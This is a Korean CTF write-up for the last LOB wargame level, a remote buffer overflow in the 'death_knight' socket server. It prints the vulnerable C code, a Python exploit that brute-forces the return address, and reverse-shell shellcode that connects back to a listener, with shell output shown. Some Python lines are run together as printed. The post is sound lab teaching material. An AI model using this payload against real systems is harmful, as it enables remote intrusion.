본문 바로가기

CTF_Write_UP/LOB

[LOB] xavius

시작

안녕하세요 :D

LOB 마지막 문제!! 휴가 때마다 천천히 풀다보니 엄청 오래 걸렸네요 ㅠㅠ

바로 시작해보죠!!

Write UP

[xavius@localhost xavius]$ cat death_knight.c 
/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - dark knight 
        - remote BOF 
*/ 

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main() 
{ 
        char buffer[40]; 

        int server_fd, client_fd; 
        struct sockaddr_in server_addr; 
        struct sockaddr_in client_addr; 
        int sin_size; 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ 
                perror("socket"); 
                exit(1); 
        } 

        server_addr.sin_family = AF_INET; 
        server_addr.sin_port = htons(6666); 
        server_addr.sin_addr.s_addr = INADDR_ANY; 
        bzero(&(server_addr.sin_zero), 8); 

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ 
                perror("bind"); 
                exit(1); 
        }

        if(listen(server_fd, 10) == -1){ 
                perror("listen"); 
                exit(1); 
        } 

        while(1) { 
                sin_size = sizeof(struct sockaddr_in); 
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ 
                        perror("accept"); 
                        continue; 
                } 

                if (!fork()){ 
                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); 
                        send(client_fd, "You : ", 6, 0); 
                        recv(client_fd, buffer, 256, 0); 
                        close(client_fd); 
                        break; 
                } 

                close(client_fd); 
                while(waitpid(-1,NULL,WNOHANG) > 0); 
        } 
        close(server_fd); 
}

소켓 프로그래밍 코드입니다.

6666번 포트를 열고 기다리는데, 40 bytes인 버퍼에 비해 입력은 256 bytes를 받아서 Remote BOF가 터져요.

[xavius@localhost xavius]$ netstat -ant 
Active Internet connections (servers and established) 
.
.
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN

Listen 상태인 6666번 포트가 보입니다.

사실 원격으로 BOF를 터뜨린다는 것 외엔 일반적인 문제와 다를 것이 없어요.

remote shellcode를 이용해서 페이로드를 때려박고 로컬에 nc로 포트 하나를 열어놓은 후 통신하면 됩니다.

페이로드 구성은 dummy(44) + RET + shellcode인데..

RET을 구할 방법이 없습니다ㅠㅠ 따라서 0xbfff0000부터 0xbfffffff까지 브루트 포싱을 해주어야 해요.

Windows 64bit 환경에서 4444번 포트를 열어놓고 파이썬 코드를 실행시켜 보겠습니다.

LOB 머신과 통신이 되는지 꼭!!! 확인해야 해요.

C:\Python27>nc -vp 4444 
listening on [any] 4444 ..

nc로 4444번 포트를 열었어요. 여기의 IP는 192.168.55.103입니다.

파이썬 코드를 실행시켜 보겠습니다.

import sys 
import struct 
from socket import * 

payload = "" 
#p32 = lambda x: struct.pack("<L", x) 

host = "192.168.127.128" 
port = 6666 
IP_ADDR = "\xc0\xa8\x37\x67"    # 192.168.55.103 
local_PORT = "\x11\x5c"         # 4444 

shellcode = "" 

shellcode += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" 
shellcode += "\xb0\x66\xb3\x01\x51\x6a\x06\x6a" 
shellcode += "\x01\x6a\x02\x89\xe1\xcd\x80\x89" 
shellcode += "\xc6\xb0\x66\x31\xdb\xb3\x02\x68" 
shellcode += IP_ADDR + "\x66\x68" + local_PORT + "\x66\x53\xfe" 
shellcode += "\xc3\x89\xe1\x6a\x10\x51\x56\x89" 
shellcode += "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe" 
shellcode += "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31" 
shellcode += "\xc0\x52\x68\x6e\x2f\x73\x68\x68" 
shellcode += "\x2f\x2f\x62\x69\x89\xe3\x52\x53" 
shellcode += "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" 
shellcode += "\x80" 

for i in range(0xff, 0x00, -1): 
    for j in range(0xff, 0x00, -1): 
        payload += "A" * 44 
        payload += chr(j) + chr(i) + "\xff\xbf" 
        payload += "\x90" * 80 
        payload += shellcode 
print "RET addr = 0xbfff" + format(i, 'x') + format(j, 'x')
s = socket(AF_INET, SOCK_STREAM) s.connect((host,port))
s.recv(52) s.recv(6)
s.send(payload) s.close() payload = ""

실행시키면 다음과 같이 브루트 포싱이 시작돼요.

.
.
RET addr = 0xbffffddf 
RET addr = 0xbffffdde 
RET addr = 0xbffffddd 
RET addr = 0xbffffddc 
RET addr = 0xbffffddb 
RET addr = 0xbffffdda 
RET addr = 0xbffffdd9 
RET addr = 0xbffffdd8 
RET addr = 0xbffffdd7 
RET addr = 0xbffffdd6 
RET addr = 0xbffffdd5 
RET addr = 0xbffffdd4
.
.

그러다가 RET 주소에 NOP이 걸리면 sled를 타고 내려와 쉘코드에 도착합니다.

C:\Python27>nc -vp 4444
listening on [any] 4444 ..
connect to [192.168.55.103] from DESKTOP-M88ED6 [192.168.55.103] 50504
whoami
death_knight 
my-pass
euid = 520
got the life

Exploit!!

마무리

Remote BOF까지 마무리했습니다.

정말 길었네요.. 입문용 CTF라고 해도 까다로웠던 문제가 많이 있었습니다ㅠㅠ

한 문제도 못 풀던 저를 한 단계 업그레이드 시켜준 고마운 문제들이라고 생각해요 ㅎㅎ

마지막 몬스터인 death_knight로 마무리하겠습니다.

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] death_knight  (0) 2019.10.04
[LOB] nightmare  (0) 2019.10.03
[LOB] succubus  (0) 2019.09.09
[LOB] zombie_assassin  (0) 2019.09.09
[LOB] zombie  (0) 2019.08.03